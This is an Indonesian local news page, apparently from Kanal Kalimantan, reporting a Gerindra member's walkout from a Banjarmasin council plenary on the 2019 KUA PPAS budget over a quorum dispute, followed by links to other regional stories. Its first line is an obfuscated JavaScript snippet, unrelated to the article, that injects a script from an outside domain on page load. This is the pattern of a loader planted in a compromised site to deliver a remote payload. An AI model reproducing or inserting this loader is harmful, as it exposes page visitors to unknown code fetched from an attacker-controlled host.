(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Rapat paripurna DPRD Banjarmasin yang membahas soal Raperda KUA PPAS tahun anggaran 2019 diwarnai aksi walk out seorang anggota fraksi Partai Gerindra, Muhammad Isnaini. Ia memilih keluar ruangan sidang paripurna pembahasan Raperda KUA PPAS karena kecewa atas sikap Ketua DPRD Kota Banjarmasin Hj Ananda terhadap rapat yang tidak kuorum, Kamis (16/8).
Anggota Komisi II DPRD Banjarmasin itu merasa rapat paripurna terlalu dipaksakan meski tidak memenuhi kuorum. Isnaini berkata tahapan rapat paripurna seharusnya mengacu tata tertib rapat.
Menurut Isnaini, paripurna dinyatakan kuorum ketika rapat dihadiri oleh 50 persen plus satu anggota Dewan. Tapi, kehadiran legislator saat rapat paripurna DPRD Banjarmasin selalu kurang dari batasan minimal kuorum.
Ia mengingatkan rapat pengesahan Raperda KUA PPAS berpotensi memicu implikasi hukum bila dipaksakan karena cuma dihadiri sebagian pimpinan dan anggota dewan. Isnaini menambahkan dirinya tidak bertanggung jawab seandainya anggaran ini cacat hukum. Demikian dilansir Kumparan.com.
“Karena sifat dari Dewan ini kolektif kolegial. Apa yang disampaikan saya saat rapat ini harusnya didengar oleh pimpinan,†kata Isnaini. Ia mempertanyakan kenapa rapat tetap dilanjutkan meski Wali Kota Banjarmasin Ibnu Sina sudah meninggalkan ruang rapat paripurna.
Ibnu lalu memberikan surat perintah mewakili dirinya untuk menyimak rapat paripurna hingga tuntas. Sikap Ibnu sontak membuat Isnaini melakukan interupsi kepada pimpinan rapat, dengan berbagai macam pendapat yang dikemukakannya. Toh, pimpinan rapat tetap melanjutkan rapat paripurna.
Ketua DPRD Kota Banjarmasin dan pimpinan rapat, Hj Ananda, menampik tudingan bahwa rapat tidak kuorum. Ananda mengklaim ada 30 legislator yang menghadiri rapat dari total 45 orang. “Menandakan kuorum hari ini memenuhi 50 persen plus satu dan rapat paripurna bisa kita selesaikan,†ujar Hj Ananda saat menjawab interupsi dari Isnaini tersebut.
Merasa tidak puas atas keputusan pimpinan, Isnaini memilih walk out atau meninggalkan rapat paripurna. Dengan raut kecewa, Isnaini menuju ke ruang komisi II. Rapat paripurna tetap berlanjut meskipun ada insiden walk out dari Isnaini.(cel)
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi meninjau kondisi Jembatan Pulau Telo… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More
This website uses cookies.